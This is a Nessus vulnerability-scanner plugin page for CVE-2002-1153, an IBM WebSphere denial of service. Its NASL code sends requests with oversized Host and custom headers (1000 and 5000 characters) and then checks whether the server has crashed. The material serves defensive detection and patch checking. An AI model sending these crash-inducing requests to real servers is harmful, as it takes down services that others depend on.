CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
EPSS
Percentile
87.8%
It was possible to kill the WebSphere server by sending an invalid request for a .jsp with a too long Host: header.
An attacker may exploit this vulnerability to make your web server crash continually.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
################
# References...
################
#
# From:"Peter_Grundl" <[email protected]>
# To:"Full-Disclosure (netsys)" <[email protected]>
# Subject: KPMG-2002035: IBM Websphere Large Header DoS
# Date: Thu, 19 Sep 2002 10:51:07 +0200
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(11181);
script_version("1.28");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2002-1153");
script_bugtraq_id(5749);
script_name(english:"IBM WebSphere HTTP Request Header Remote Overflow");
script_set_attribute(attribute:"synopsis", value:
"The remote service is vulnerable to denial of service attack.");
script_set_attribute(attribute:"description", value:
"It was possible to kill the WebSphere server by sending an invalid
request for a .jsp with a too long Host: header.
An attacker may exploit this vulnerability to make your web server
crash continually.");
script_set_attribute(attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=103244572803950&w=2");
script_set_attribute(attribute:"solution", value:
"Upgrade to IBM Websphere Application Server 4.0.4 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2002/09/19");
script_set_attribute(attribute:"patch_publication_date", value:"2002/09/30");
script_set_attribute(attribute:"plugin_publication_date", value:"2002/12/02");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:ibm:websphere_application_server");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"Web Servers");
script_copyright(english:"This script is Copyright (C) 2002-2022 Tenable Network Security, Inc.");
script_dependencies("find_service1.nasl", "httpver.nasl", "http_version.nasl");
script_require_keys("www/ibm-http");
script_require_ports("Services/www", 80);
exit(0);
}
########
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if (http_is_dead(port: port))
exit(1, "The web server on port "+port+" is already dead.");
#
w = http_send_recv3(method:"GET", item: "/foo.jsp",
host: crap(1000), version: 11, port: port, exit_on_fail: 0);
w = http_send_recv3(method:"GET", item:"/bar.jsp", port:port,
exit_on_fail: 0,
add_headers: make_array("Nessus-Header", crap(5000)));
if (http_is_dead(port: port))
{
if ( service_is_dead(port: port, exit: 0) > 0 ||
report_paranoia >= 2 )
security_warning(port);
exit(0);
}
else
exit(0, "The web server on port "+port+" is unaffected.");